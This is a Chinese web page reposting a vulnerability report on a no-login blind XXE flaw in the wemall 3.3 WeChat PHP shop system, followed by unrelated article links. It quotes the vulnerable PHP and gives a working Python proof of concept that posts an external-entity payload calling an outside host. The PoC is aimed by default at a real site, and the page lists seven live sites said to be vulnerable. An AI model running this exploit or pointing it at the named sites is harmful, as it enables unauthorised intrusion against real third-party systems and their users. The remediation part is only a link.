微信开源PHP商城系统一处blind xxe(无需登录,附POC)
测试版本wemall 3.3
下载地址 http://git.oschina.net/einsqing/wemall/repository/archive?ref=master 需要开源中国的账号
code 区域
//Application\Lib\Action\Admin\WechatAction.class.php
<?php
class WechatAction extends Action {
public function init() {
import ( 'wechat', APP_PATH . 'Common', '.class.php' );
$config = M ( "Wxconfig" )->where ( array (
"id" => "1"
) )->find ();
$options = array (
'token' => $config ["token"], // 填写你设定的key
'encodingaeskey' => $config ["encodingaeskey"], // 填写加密用的EncodingAESKey
'appid' => $config ["appid"], // 填写高级调用功能的app id
'appsecret' => $config ["appsecret"], // 填写高级调用功能的密钥
);
$weObj = new Wechat ( $options );
return $weObj;
}
public function index() {
$weObj = $this->init ();
$weObj->valid ();
....剩下的省略
可以看到index函数中
$weObj为Wechat类的实例化
而Wechat类从import ( 'wechat', APP_PATH . 'Common', '.class.php' );导入的
也就是Application/Common/wechat.class.php
重点关注valid()函数
code 区域
public function valid($return=false)
{
$encryptStr="";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$postStr = file_get_contents("php://input");
$array = (array)simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
...省略
直接使用了simplexml_load_string函数
如何调用代码呢?
访问index.php?g=Admin&m=Wechat&a=index
如何利用参考: http://wooyun.org/bugs/wooyun-2010-098591
下面是poc代码:
code 区域
#!/usr/bin/python
import urllib2
import random
import socket
socket.setdefaulttimeout(10)
def send_xml(url,data):
import requests
try:
requests.post(url,data)
except Exception, e:
print e
def poc(host):
url = 'http://' + host + '/index.php?g=Admin&m=Wechat&a=index'
key = "".join(random.sample('abcdefghijklmnopqrstuvwxyz', 6))
value = "".join(random.sample('abcdefghijklmnopqrstuvwxyz', 6))
data = """<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://pysandbox.sinaapp.com/kv?act=set&k={key}&v={value}">
%remote;]>
<root/>"""
data = data.replace('{key}', key).replace('{value}', value)
send_xml(url, data)
url = 'http://pysandbox.sinaapp.com/kv?act=get&k=' + key
res = urllib2.urlopen(url).read()
if value in res:
print "xxe"
poc('www.mybuy.so')
访问http://pysandbox.sinaapp.com/kv?act=set&k={key}&v={value} 可以在远程主机设置一个键值对
http://pysandbox.sinaapp.com/kv?act=get&k=刚刚的key 可以查看是否设置了这个键值对
商业版本也应该可以xxe
http://demo.inuoer.com/1/Admin/Wechat/index.html
但是demo有防火墙
漏洞证明:
下面是存在xxe的
http://www.dadodo.wang/index.php?g=Admin&m=Wechat&a=index
http://www.jxbar.com/index.php?g=Admin&m=Wechat&a=index
http://www.liushengjie.com/index.php?g=Admin&m=Wechat&a=index
http://www.wifi-xj.com/index.php?g=Admin&m=Wechat&a=index
http://www.tjguguai.net/index.php?g=Admin&m=Wechat&a=index
http://www.mallonline.com.cn/index.php?g=Admin&m=Wechat&a=index
http://www.mybuy.so/index.php?g=Admin&m=Wechat&a=index
修复方案:
http://wiki.wooyun.org/web:xxe-attack
微信开源PHP商城系统一处blind xxe(无需登录,附POC)的更多相关文章
- H5传奇源码,附带微信支付,商城系统,新增了元宝交易商城系统源码
源码说明:传奇游戏是80年底的经典游戏,传奇源码,H5游戏源码下载,附带微信支付,商城系统,新增了元宝交易商城系统源码,内置很多任务,比如首冲任务,修复了很多BUG.[架设要求]游戏名称:H5传奇世界 ...
- 微信小程序商城系统怎样搭建?
微信是一种非常便捷的生活方式,微信小程序一直深受企业和商家的青睐,如美团.京东.拼多多.唯品会.小红书等知名公司都推出了自己的小程序.对于网上商城小程序的开发似乎是一件非常难的事情,用什么开发?如何开 ...
- 微信开发学习日记(七):开源微商城wemall
最近嘛,不是在调研PHP和微信的行情么. 发现,微商城是非常火爆的一个领域,既然业务有搞头,那么技术这一块也有很多选择. 网上发现了wemall这个开源的PHP实现的微商城. 下载了开源版本,PHP后 ...
- 微信小程序购物商城系统开发系列-目录结构
上一篇我们简单介绍了一下微信小程序的IDE(微信小程序购物商城系统开发系列-工具篇),相信大家都已经蠢蠢欲试建立一个自己的小程序,去完成一个独立的商城网站. 先别着急我们一步步来,先尝试下写一个自己的 ...
- 微信小程序购物商城系统开发系列-工具篇
微信小程序开放公测以来,一夜之间在各种技术社区中就火起来啦.对于它 估计大家都不陌生了,对于它未来的价值就不再赘述,简单一句话:可以把小程序简单理解为一个新的操作系统.新的生态,未来大部分应用场景都将 ...
- 微信小程序购物商城系统开发系列
微信小程序购物商城系统开发系列 微信小程序开放公测以来,一夜之间在各种技术社区中就火起来啦.对于它 估计大家都不陌生了,对于它未来的价值就不再赘述,简单一句话:可以把小程序简单理解为一个新的操作系统. ...
- wemall app微信商城系统Android之通用通知接口demo
wemall-mobile是基于WeMall的Android app商城,只需要在原商城目录下上传接口文件即可完成服务端的配置,客户端可定制修改.本文分享Native(原生)支付模式一demo,供技术 ...
- wemall开源商城免费商城系统部分代码(内含代码地址)
wemall开源商城免费商城系统部分代码,下面分享部分代码,供学习者学习: 开源版把install文件夹下的install.lock删除之后可进行自动安装 后台访问地址:http:// www.xxx ...
- 微信小程序商城开源项目,Weixin-App-Shop 1.0 版本正式发布!!!
微信小程序商城开源项目,Weixin-App-Shop 1.0 版本正式发布 Weixin-App-Shop 是捷微团队开发的微信小程序商城开源项目,涵盖了微信商城的全部功能,能够快速发布简单易用的小 ...
随机推荐
- Flex移动应用程序开发的技巧和窍门(三)
这是关于 Flex 移动应用程序开发的技巧和窍门系列文章的第三部分内容.第一部分内容主要集中讨论了视图之间以及应用程序执行之间切换时的数据处理.第二部分则主要涵盖了应用程序动作条和标签组件风格化方面的 ...
- 【Scala】Scala之Control Structures
一.前言 前面学习了Scala的Numbers,接着学习Scala的Control Structures(控制结构). 二.Control Structures Scala中的控制结构与Java中的颇 ...
- 比AutoMapper轻量快速简洁的实体映射库YeaJur.Mapper
之前在做实体深拷贝时一直使用的AutoMapper,但是总是觉得其写法比繁琐,效率也不算很高,自己写了一个轻量级的实体拷贝库YeaJur.Mapper,和AutoMapper 测试对比如下 PK项 Y ...
- 001.net开发环境与变量
1 .net 技术平台,用来创建互联互通的应用程序 2 应用 嵌入式开发企业级应用 3 .NET Framework 技术:公共语言运行时 .NET Framework的工作模式:.NetC#> ...
- POJ2115(扩展欧几里得)
C Looooops Time Limit: 1000MS Memory Limit: 65536K Total Submissions: 23700 Accepted: 6550 Descr ...
- I/O模型浅析
引入 首先来说一下进程: 进程在就是一段执行中的代码,他是由一条条指令和数据组成的一个具有生命周期的有头有尾的实体. 进程根据权限大体上可以分为两类:用户进程 和 内核进程. 这两者的主要区别在于权限 ...
- .net 开发经理的月薪
因为各人的成长不一样,有人工作了5年,技术也只能当个高级程序员,有人工作了两年,就能带领一个团队,有人在初中时期就写了一个很牛X 的框架,而我工作也快5年,也努力奋斗了5年,我觉得自己有能力做开发经理 ...
- 蓝桥网试题 java 基础练习 查找整数
--------------------------------------------------------------------- 注意看清楚条件 别漏了 -1 -1 -1 --------- ...
- app与后台交互之间的几种安全认证机制
1.HTTP简单基本认证方式 这个是早期交互用得比较多的一种方式,主要是使用用户名和密码来交互,由于在每次的交互中,用户名和密码都会暴露给第三方,那么这么做是不可取的,风险十分大,所以这种认证方式并没 ...
- bzoj1492--斜率优化DP+cdq分治
显然在某一天要么花完所有钱,要么不花钱. 所以首先想到O(n^2)DP: f[i]=max{f[i-1],(f[j]*r[j]*a[i]+f[j]*b[i])/(a[j]*r[j]+b[j])},j& ...